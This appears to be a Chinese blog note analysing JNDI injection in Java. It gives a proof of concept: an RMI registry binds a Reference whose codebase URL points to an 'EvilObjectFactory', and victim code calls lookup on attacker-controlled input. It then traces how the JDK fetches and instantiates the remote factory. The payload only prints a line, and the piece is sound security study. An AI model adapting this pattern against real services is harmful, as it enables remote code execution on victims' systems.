关于 JNDI 注入

作者:n1nty

一篇炒冷饭的文章,全当笔记在写了,这个漏洞涉及到 JNDI 与 RMI。 这里我主要只写一些其他的 “JNDI 注入” 分析文章没写过的东西,如果你看的不是很明白的话可以配合其他人写的分析文章一起看。

需要知道的背景知识

  1. JNDI 的概念不细写了,只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming Service 或 DirectoryService 的内容
  2. JNDI API 中涉及到的常见的方法与接口的作用,如:Context.lookup
  3. JNDI 中 ServiceProvider 以及 ObjectFactory 的作用
  4. Reference 类的作用
  5. RMI 的相关基础知识,可以看我另一篇公众号,我记的非常全。

JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider 有 RMI/LDAP 等等。。

ObjectFactory

每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。

PoC

public static void main( String[] args ) throws Exception
{
// 在本机 1999 端口开启 rmi registry,可以通过 JNDI API 来访问此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 创建一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:
// jndiinj.EvilObjectFactory
// 第三个参数是 codebase,表明如果客户端在 classpath 里面找不到
// jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载
// 当然利用的时候这里应该是一个真正的 codebase 的地址
Reference ref = new Reference("whatever",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 利用 ReferenceWrapper 将前面的 Reference 对象包装一下
// 因为只为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}

EvilObjectFactory

代码如下:

public class EvilObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name,
Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
System.out.println("executed");
return null;
}
}

Victim

Victim 需要执行 Context.lookup,并且 lookup 的参数需要我们可控。

public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
// ctx.lookup 参数需要可控
System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}

我的疑问

最开始看到 PoC 的时候,我以为这是 RMI Class Loading 导致的受害者会去指定的 codebase 下载我们指定的类并去实例化,因此产生了很大的疑惑。

  1. 因为 RMI Class Loading 是有条件限制的,比如说默认禁用,以及与 JVM 的 codebase 配置有很大的关系。
  2. PoC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。

因为懒,这个疑问一直存在了很长时间,直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec 那篇 pdf 里面也提到了这个问题。

Victim 端的触发流程

1.ctx.lookup 最终会进入 com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的 jndi url 是以 rmi:// 开头的。

public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}

2.在 lookup 里面通过 this.registry.lookup 查找出远程对象,赋给 var2。这里的 var2 确实是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 类型的。证明我的想法是没有错的,存入 rmi registry 的确实是一个 stub。

3.进入 this.decodeObject

private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ?
((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2,
this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

4.this.decodeObject 内将 stub 还原成了 Reference,这里解决了我一个疑惑。随后进入 NamingManager.getObjectInstance

5.NamingManager.getObjectInstance 内部发现当前 JVM 中不存在 Reference 中指定的 object factory,就自动去我们指定的 codebase 地址下载(并不是利用的 RMI Class Loading 机制,所以解决了我另一个疑惑)并实例化我们指定的 Object Factory 类,并调用其 javax.naming.spi.ObjectFactory#getObjectInstance 方法。

参考资料